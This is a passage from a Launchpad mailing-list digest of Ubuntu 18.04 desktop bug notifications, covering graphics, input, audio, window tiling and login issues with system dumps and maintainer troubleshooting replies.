  dmi.bios.vendor: LENOVO
  dmi.bios.version: 7UET94WW (3.24 )
  dmi.board.name: 6474B84
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Available
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvr7UET94WW(3.24):bd10/17/2012:svnLENOVO:pn6474B84:pvrThinkPadT400:rvnLENOVO:rn6474B84:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.family: ThinkPad T400
  dmi.product.name: 6474B84
  dmi.product.version: ThinkPad T400
  dmi.sys.vendor: LENOVO
  version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1
  version.libdrm2: libdrm2 2.4.91-2
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc5-1ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc5-1ubuntu1
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2
  xserver.bootTime: Sun May 13 06:01:23 2018
  xserver.configfile: default
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.6-1ubuntu4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1770913/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772271] Re: stuttering mouse movement after any shell window opens

Please also:

1. Run 'lspci -k' and attach the output here.

2. Run 'apport-collect 1772271' on the machine.

** Changed in: gnome-shell (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1772271

Title:
  stuttering mouse movement after any shell window opens

Status in gnome-shell package in Ubuntu:
  Incomplete

Bug description:
  mouse stutters when moving. This started after update from Ubuntu 16 to 18. 
Mouse is fine on initial boot, but after any shell window opens, the mouse then 
stutters in its movement. clicks work fine. almost looks like mouse is not 
getting its irq interrupts.
  Description:  Ubuntu 18.04 LTS
  Release:  18.04

  also getting this error: 
  ~$ apport-bug gtk

  (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory
  dpkg-query: no packages found matching gtk
  Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This 
is discouraged.
  peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes

  (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory
  peter@peter-GeForce6100PM-M2:~$ 
  (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory

  light-themes:
Installed: 16.10+18.04.20180421.1-0ubuntu1
Candidate: 16.10+18.04.20180421.1-0ubuntu1
Version table:
   *** 16.10+18.04.20180421.1-0ubuntu1 500
  500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages
  500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages
  100 /var/lib/dpkg/status

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: light-themes 16.10+18.04.20180421.1-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17
  Uname: Linux 4.15.0-20-lowlatency x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 20 11:29:02 2018
  InstallationDate: Installed on 2015-10-24 (938 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to bionic on 2018-05-06 (14 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772271/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772271] Re: stuttering mouse movement after any shell window opens

We're working on a few fixes in this area:
https://trello.com/c/Q6JYXPPs

In the meantime I suggest trying the normal Ubuntu kernel, not
"lowlatency". In the past when I was investigating performance I found
the unexpected problem of the "lowlatency" kernel actually being higher
latency for graphics/input. Weird, I know.


** Tags added: performance

** Package changed: ubuntu-themes (Ubuntu) => gnome-shell (Ubuntu)

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1772271

Title:
  stuttering mouse movement after any shell window opens

Status in gnome-shell package in Ubuntu:
  Incomplete

Bug description:
  mouse stutters when moving. This started after update from Ubuntu 16 to 18. 
Mouse is fine on initial boot, but after any shell window opens, the mouse then 
stutters in its movement. clicks work fine. almost looks like mouse is not 
getting its irq interrupts.
  Description:  Ubuntu 18.04 LTS
  Release:  18.04

  also getting this error: 
  ~$ apport-bug gtk

  (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory
  dpkg-query: no packages found matching gtk
  Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This 
is discouraged.
  peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes

  (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory
  peter@peter-GeForce6100PM-M2:~$ 
  (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: 
gtk-main.css:73:38: Failed to import: Error opening file 
/usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or 
directory

  light-themes:
Installed: 16.10+18.04.20180421.1-0ubuntu1
Candidate: 16.10+18.04.20180421.1-0ubuntu1
Version table:
   *** 16.10+18.04.20180421.1-0ubuntu1 500
  500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages
  500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages
  100 /var/lib/dpkg/status

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: light-themes 16.10+18.04.20180421.1-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17
  Uname: Linux 4.15.0-20-lowlatency x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 20 11:29:02 2018
  InstallationDate: Installed on 2015-10-24 (938 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to bionic on 2018-05-06 (14 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772271/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772067] Re: on-screen keyboard layout is the wrong one and cannot change

Thank you for taking the time to report this bug and helping to make
Ubuntu better. Please execute the following command only once, as it
will automatically gather debugging information, in a terminal:

apport-collect 1772067

When reporting bugs in the future please use apport by using 'ubuntu-
bug' and the name of the package affected. You can learn more about this
functionality at https://wiki.ubuntu.com/ReportingBugs.

** Tags added: osk

** Changed in: onboard (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to onboard in Ubuntu.
https://bugs.launchpad.net/bugs/1772067

Title:
  on-screen keyboard layout is the wrong one and cannot change

Status in onboard package in Ubuntu:
  Incomplete

Bug description:
  What's wrong :

  The onscreen keyboard layout is set to qwerty even if another layout was 
selected during install.
  It is not possible to change the on-screen keyboard layout 

  
  How to reproduce :

  on login screen, select user, enable the on-screen keyboard (osk),
  click on the password box, osk appears. It is in qwerty.

  Click on Flag, the flag popup appears with the registered layouts,
  raise the mouse towards the list : the on-screen keyboard disappears
  too soon to allow clicking.

  Get used to the on-screen keyboard layout and get fast, Click on Flag,
  click quickly on the popup to the desired layout : Nothing happens,
  keyboard layout remains the same.

  Version : 1.4.1-2ubuntu1
  Information : I have two layouts in /etc/default/keyboard, none is in qwerty

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/onboard/+bug/1772067/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1770913] Re: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD)

This looks relevant. Xorg is saying:

[  2402.232] (II) AIGLX: Screen 0 is not DRI2 capable
[  2402.232] (EE) AIGLX: reverting to software rendering

Are you able to log into Wayland sessions?

** Summary changed:

- Software rendering is forced after 18.04 upgrade
+ Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / 
GMA 4500MHD)

** No longer affects: xorg (Ubuntu)

** No longer affects: xserver-xorg-video-intel (Ubuntu)

** Also affects: mesa (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xserver-xorg-video-intel in Ubuntu.
https://bugs.launchpad.net/bugs/1770913

Title:
  Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo
  P8600 / GMA 4500MHD)

Status in mesa package in Ubuntu:
  New
Status in xorg-server package in Ubuntu:
  New

Bug description:
  After upgrading to Ubuntu 18.04, my desktop uses software rendering, no 
matter what I do.
  As far as I know, all necessary packages are installed.
  Formerly I had oibaf installed, but suspecting that this may cause the 
problem, I removed it with ppa-purge. It didn't help.

  First I noticed the problem when I tried to play HD videos.
  It was fine before the upgrade. My hardware is capable for 3D acceleration, 
as it worked on 17.10.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xserver-xorg-video-intel 2:2.99.917+git20171229-1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  .tmp.unity_support_test.1:
   
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 13 06:13:09 2018
  DistUpgraded: 2018-05-12 22:26:52,663 DEBUG Running PostInstallScript: 
'./xorg_fix_proprietary.py'
  DistroCodename: bionic
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller 
[8086:2a42] (rev 07) (prog-if 00 [VGA controller])
 Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller 
[17aa:20e4]
 Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller 
[17aa:20e4]
  InstallationDate: Installed on 2014-06-10 (1432 days ago)
  InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417)
  MachineType: LENOVO 6474B84
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=hu_HU.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-20-generic 
root=/dev/mapper/thinkvg-rootlv ro rootflags=subvol=@
  Renderer: Software
  SourcePackage: xserver-xorg-video-intel
  UpgradeStatus: Upgraded to bionic on 2018-05-12 (0 days ago)
  dmi.bios.date: 10/17/2012
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 7UET94WW (3.24 )
  dmi.board.name: 6474B84
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Available
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvr7UET94WW(3.24):bd10/17/2012:svnLENOVO:pn6474B84:pvrThinkPadT400:rvnLENOVO:rn6474B84:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.family: ThinkPad T400
  dmi.product.name: 6474B84
  dmi.product.version: ThinkPad T400
  dmi.sys.vendor: LENOVO
  version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1
  version.libdrm2: libdrm2 2.4.91-2
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc5-1ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc5-1ubuntu1
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2
  xserver.bootTime: Sun May 13 06:01:23 2018
  xserver.configfile: default
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.6-1ubuntu4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1770913/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1767806] Re: Position of left-tiled windows not restored correctly when another left-tiled window present

This bug is now an enhancement request, because
https://gitlab.gnome.org/GNOME/gnome-shell/issues/287

** Changed in: gnome-shell (Ubuntu)
   Importance: Undecided => Wishlist

** Changed in: mutter (Ubuntu)
   Importance: Undecided => Wishlist

** Changed in: gnome-shell (Ubuntu)
   Status: Incomplete => New

** Changed in: mutter (Ubuntu)
   Status: Incomplete => New

** No longer affects: mutter (Ubuntu)

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1767806

Title:
  Position of left-tiled windows not restored correctly when another
  left-tiled window present

Status in gnome-shell package in Ubuntu:
  New

Bug description:
  When another window is maximized or tiled to the left side of the
  screen, re-opening an application whose window was previously tiled to
  the left side does not restore that windows' previous position.
  Instead such windows open at varying distances from the dock, untiled.

  
  = Steps to reproduce *expected* behavior (with a newly created user) =

  1. open Firefox, drag the window to the left edge of the screen to tile it 
there (filling up the left half of horizontal screen space)
  2. close Firefox
  3. open Nautilus, make sure that the window floats (i.e. is unmaximized and 
not tiled to either side of screen)
  4. open Firefox

  == What happens ==
  As expected, Firefox's window is tiled to the left edge of screen, 
immediately to the right side of the dock.

  
  = Steps to reproduce *unexpected* behavior (with a newly created user) =
  1. open Firefox, drag the window to the left edge of the screen to tile it 
there (filling up the left half of horizontal screen space)
  2. close Firefox
  3. open Nautilus, *maximize its window*
  4. open Firefox

  == What happens ==
  Firefox's window opens slightly to the right off the right edge of the dock 
(with a gap between the dock and the window).
  == What I expect to happen ==
  I expect Firefox's window to be tiled to the left edge of screen, immediately 
to the right side of the dock, just as it did following the first recipe above.

  
  = Further information =
  Either maximizing or tiling Nautilus' window to the left edge of the screen 
(at step #3) triggers the issue. Tiling it to the *right* edge of the screen 
does not.

  Using Gnome Terminal instead of Nautilus triggers the issue just as
  well, I suspect any other application will though I've only
  systematically tested these two so far.

  From battling with this in my daily use I also know that the distance
  of incorrectly restored windows from the dock varies: different
  applications open at different distances. The precise mechanics of
  this still elude me, though the distances do appear to be multiples of
  25 pixels.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: mutter 3.28.1-1ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Apr 29 16:32:37 2018
  InstallationDate: Installed on 2016-10-13 (562 days ago)
  InstallationMedia: Ubuntu-Server 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=fi_FI.UTF-8
   SHELL=/bin/bash
  SourcePackage: mutter
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1767806/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1718824] Re: The analogue audio does not work on the Dell USB Dock

2018-05-20 Thread Hui Wang

@benste,

The log in the #67 looks good, I can't find problem in it.

After we confirmed this is a problem/regression, then reopen the status.
But I don't think the change can make line-out stop working if it works
before.

If you want line-out or headphone of dock station to work, after plug
it, please verify "pactl info" first,  make sure the "Default Sink" is
"alsa_output.usb-Generic_USB_Audio..." instead of "alsa_output.pci-
_00_1f...", And if you want to change the default sink or the output
profile (headphone or lineout0 of usb dock, you can open sound-settings
to choose (system settings--->sound settings).

If the description of above doesn't work, please upload an alsa-info.txt
(run alsa-info.sh to generate alsa-info.txt).

thx.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1718824

Title:
  The analogue audio does not work on the Dell USB Dock

Status in HWE Next:
  Fix Released
Status in OEM Priority Project:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released
Status in pulseaudio source package in Xenial:
  Fix Released
Status in pulseaudio source package in Artful:
  Fix Released

Bug description:
  SRU Document:

  [Impact]

  If users use the latest Dell USB Dock, e.g. TB16, they will found the
  analog audio (lineout jack) can't work under ubuntu linux

  [Test Case]

  After applying the fix, users can play sound via analog speaker or
  lineout freely. Without the fix, users can't play sound from lineout
  jack.

  [Regression Potential]

  No any possibility to introduce regression since this fix just adding
  a new dock's support, it does not change any existing code.

  [Other Info]

  No more info here

  Steps:
  1. Cold boot system with BME/IE connected
  2. Plug in a speaker to Line-out jack
  3. Set Analog Stereo Output from Sound settings

  Expected results: Line-out port can work

  Actual results: Line-out port not work

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1718824/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1718824] Re: The analogue audio does not work on the Dell USB Dock

This bug is closed. If a regression has occurred then please open a new
bug by running:

ubuntu-bug pulseaudio

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1718824

Title:
  The analogue audio does not work on the Dell USB Dock

Status in HWE Next:
  Fix Released
Status in OEM Priority Project:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released
Status in pulseaudio source package in Xenial:
  Fix Released
Status in pulseaudio source package in Artful:
  Fix Released

Bug description:
  SRU Document:

  [Impact]

  If users use the latest Dell USB Dock, e.g. TB16, they will found the
  analog audio (lineout jack) can't work under ubuntu linux

  [Test Case]

  After applying the fix, users can play sound via analog speaker or
  lineout freely. Without the fix, users can't play sound from lineout
  jack.

  [Regression Potential]

  No any possibility to introduce regression since this fix just adding
  a new dock's support, it does not change any existing code.

  [Other Info]

  No more info here

  Steps:
  1. Cold boot system with BME/IE connected
  2. Plug in a speaker to Line-out jack
  3. Set Analog Stereo Output from Sound settings

  Expected results: Line-out port can work

  Actual results: Line-out port not work

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1718824/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1753663] Re: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe

This bug is closed. If you continue to experience any problems then
please open a new bug by running:

ubuntu-bug mesa

or

ubuntu-bug nvidia-graphics-drivers-390

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1753663

Title:
  [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe

Status in libglvnd package in Ubuntu:
  Fix Released
Status in mesa package in Ubuntu:
  Fix Released
Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Invalid

Bug description:
  As requested in
  https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I
  fill a new bug.

  Even after getting the fixed packages in
  https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I get
  no 3D acceleration. Seems to be some mixup with nvidia drivers.

  $glxinfo
  ...
  Extended renderer info (GLX_MESA_query_renderer):
  Vendor: VMware, Inc. (0x)
  Device: llvmpipe (LLVM 5.0, 256 bits) (0x)
  Version: 18.0.0
  Accelerated: no
  Video memory: 15963MB
  Unified memory: no
  Preferred profile: core (0x1)
  Max core profile version: 3.3
  Max compat profile version: 3.0
  Max GLES1 profile version: 1.1
  Max GLES[23] profile version: 3.0
  ...

  $ vdpauinfo
  display: :1 screen: 0
  Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object 
file: No such file or directory

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  .tmp.unity_support_test.1:

  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CompizPlugins: 
[core,composite,opengl,compiztoolbox,decor,imgpng,snap,mousepoll,commands,imgjpeg,workarounds,wall,imgsvg,resize,place,neg,grid,scale,regex,text,shelf,expo,move,gnomecompat,annotate,session,notification,resizeinfo,ezoom,staticswitcher,bench]
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: MATE
  Date: Tue Mar  6 08:00:28 2018
  DistUpgraded: 2018-03-03 08:30:16,182 DEBUG /openCache(), new cache size 86475
  DistroCodename: bionic
  DistroVariant: ubuntu
  DkmsStatus:
   fwts-efi-runtime-dkms, 18.02.00, 4.15.0-10-generic, x86_64: installed
   ndiswrapper, 1.60, 4.15.0-10-generic, x86_64: installed
   r8168, 8.045.08, 4.15.0-10-generic, x86_64: installed
   tp_smapi, 0.42, 4.15.0-10-generic, x86_64: installed
   virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation HD Graphics 5500 [8086:1616] (rev 08) (prog-if 00 [VGA 
controller])
     Subsystem: Intel Corporation HD Graphics 5500 [8086:1616]
  MachineType: www.51nb.com X62
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-10-generic 
root=UUID=df422beb-6d13-4575-9b30-ad00e25a7d35 ro noquiet nosplash
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: Upgraded to bionic on 2018-03-03 (2 days ago)
  dmi.bios.date: 12/10/2016
  dmi.bios.vendor: 51NB
  dmi.bios.version: 5.011
  dmi.board.asset.tag: X62
  dmi.board.name: CRESCENTBAY
  dmi.board.vendor: INTEL Corporation
  dmi.board.version: X62.
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 10
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvn51NB:bvr5.011:bd12/10/2016:svnwww.51nb.com:pnX62:pvrV10:rvnINTELCorporation:rnCRESCENTBAY:rvrX62.:cvnToBeFilledByO.E.M.:ct10:cvrToBeFilledByO.E.M.:
  dmi.product.family: X62
  dmi.product.name: X62
  dmi.product.version: V10
  dmi.sys.vendor: www.51nb.com
  version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1
  version.libdrm2: libdrm2 2.4.90-1
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1753663/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1766503] Re: ibus-* randomly use high CPU

** Also affects: ubuntu-power-consumption
   Importance: Undecided
   Status: New

** Changed in: ubuntu-power-consumption
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to ibus in Ubuntu.
https://bugs.launchpad.net/bugs/1766503

Title:
  ibus-* randomly use high CPU

Status in The Ubuntu Power Consumption Project:
  Confirmed
Status in ibus package in Ubuntu:
  Confirmed

Bug description:
  ibus-* randomly use high CPU in Ubuntu 18.04

  In fact, I think it's now using more CPU overall than the shell itself
  is to redraw a 4K screen:

PID USER  PR  NIVIRTRESSHR S  %CPU %MEM TIME+ COMMAND   
  
   3308 dan   20   0 4009804 192676  84804 R  45.7  2.4   1:13.65 
gnome-shell 
   3352 dan   20   0  384364  26796  20552 S  13.9  0.3   0:22.81 ibus-x11  
  
   3372 dan   20   0  217944  10620   7764 S  10.9  0.1   0:16.20 
ibus-engin+ 
   3350 dan   20   0  293828  10384   7516 R  10.6  0.1   0:16.54 
ibus-dconf  
   3346 dan   20   0  374572  11944   8268 S  10.3  0.1   0:15.93 
ibus-daemon

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ibus 1.5.17-3ubuntu4
  ProcVersionSignature: Ubuntu 4.15.0-19.20-generic 4.15.17
  Uname: Linux 4.15.0-19-generic x86_64
  ApportVersion: 2.20.9-0ubuntu6
  Architecture: amd64
  Date: Tue Apr 24 15:29:07 2018
  InstallationDate: Installed on 2017-12-12 (133 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171211)
  SourcePackage: ibus
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-consumption/+bug/1766503/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1766137] Re: [regression] Password accepted but login fails (blank purple screen and mouse pointer only)

2018-05-20 Thread Jehandan Jeyaseelan

I have tested the login process as follows:

a) Install gdm3 from bionic-proposed version 3.28.0-0ubuntu1.1 - in Ubuntu 
18.04 LTS and reboot.
b) When login screen appears, click on my username and enter incorrect password.
c) Enter correct password and press enter or click on sign in. Login successful.

However I have encountered the following issue:

a) Log out of Ubuntu 18.04 LTS.
b) Click on my username and enter my password correctly to login again and 
click on sign in or press enter.

The login prompt freezes, cannot click on cancel or the signin button.
When I click on the button to perform a restart or shutdown, it
indicates that I am still logged in therefore there appears to be an
issue logging out.

I also confirm that the issue as reported by Bodlinux in post #60 also
occurs exactly as described.

In this case clicking on the button to perform a restart or shutdown
indicates that I am logged in but haven't moved past the login screen to
the desktop so again an issue there.

I have only installed the gdm3 update from bionic-proposed, do we need
additional updates in order for the login system to be tested properly
or will the gdm3 update suffice?

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1766137

Title:
  [regression] Password accepted but login fails (blank purple screen
  and mouse pointer only)

Status in gdm:
  Fix Released
Status in Release Notes for Ubuntu:
  Fix Released
